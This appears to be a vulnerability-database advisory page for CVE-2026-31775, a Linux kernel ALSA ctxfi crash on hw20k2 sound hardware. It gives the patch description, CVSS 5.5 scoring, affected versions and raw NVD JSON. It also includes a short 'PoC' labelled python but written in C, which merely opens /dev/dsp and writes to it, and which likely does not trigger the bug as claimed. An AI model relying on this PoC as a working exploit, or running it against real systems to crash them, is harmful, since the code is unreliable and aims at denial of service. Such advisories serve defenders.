CVE-2026-31775

Description

In the Linux kernel, the following vulnerability has been resolved: ALSA: ctxfi: Don't enumerate SPDIF1 at DAIO initialization The recent refactoring of xfi driver changed the assignment of atc->daios[] at atc_get_resources(); now it loops over all enum DAIOTYP entries while it looped formerly only a part of them. The problem is that the last entry, SPDIF1, is a special type that is used only for hw20k1 CTSB073X model (as a replacement of SPDIFIO), and there is no corresponding definition for hw20k2. Due to the lack of the info, it caused a kernel crash on hw20k2, which was already worked around by the commit b045ab3dff97 ("ALSA: ctxfi: Fix missing SPDIFI1 index handling"). This patch addresses the root cause of the regression above properly, simply by skipping the incorrect SPDIF1 type in the parser loop. For making the change clearer, the code is slightly arranged, too.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:* - VULNERABLE

Linux Kernel (包含重构代码但未应用修复补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31775
 * This PoC attempts to trigger the vulnerability by interacting
 * with the sound device on a system using the vulnerable hw20k2 hardware.
 * The crash typically occurs during driver initialization or resource access.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    int fd;
    const char *device = "/dev/dsp";

    printf("[+] Attempting to open audio device to trigger initialization...\n");

    // Opening the device may trigger the resource allocation path
    fd = open(device, O_WRONLY);
    if (fd < 0) {
        perror("[-] Failed to open device");
        printf("[-] Device might not exist or driver not loaded.\n");
        return 1;
    }

    printf("[+] Device opened successfully. If vulnerable, kernel panic may occur.\n");

    // Attempt a simple write operation to ensure interaction
    if (write(fd, "test", 4) < 0) {
        perror("[-] Write failed");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31775
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31775
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31775/
[4] VulDB https://vuldb.com/cve/CVE-2026-31775
[5] https://git.kernel.org/stable/c/75dc1980cf48826287e43dc7a49e310c6691f97e
[6] https://git.kernel.org/stable/c/a79c4c42057818bd9de45d2627464b4f0e02196a

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31775", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:40.863", "lastModified": "2026-05-07T02:28:36.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: ctxfi: Don't enumerate SPDIF1 at DAIO initialization\n\nThe recent refactoring of xfi driver changed the assignment of\natc->daios[] at atc_get_resources(); now it loops over all enum\nDAIOTYP entries while it looped formerly only a part of them.\nThe problem is that the last entry, SPDIF1, is a special type that\nis used only for hw20k1 CTSB073X model (as a replacement of SPDIFIO),\nand there is no corresponding definition for hw20k2. Due to the lack\nof the info, it caused a kernel crash on hw20k2, which was already\nworked around by the commit b045ab3dff97 (\"ALSA: ctxfi: Fix missing\nSPDIFI1 index handling\").\n\nThis patch addresses the root cause of the regression above properly,\nsimply by skipping the incorrect SPDIF1 type in the parser loop.\n\nFor making the change clearer, the code is slightly arranged, too."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/75dc1980cf48826287e43dc7a49e310c6691f97e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a79c4c42057818bd9de45d2627464b4f0e02196a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}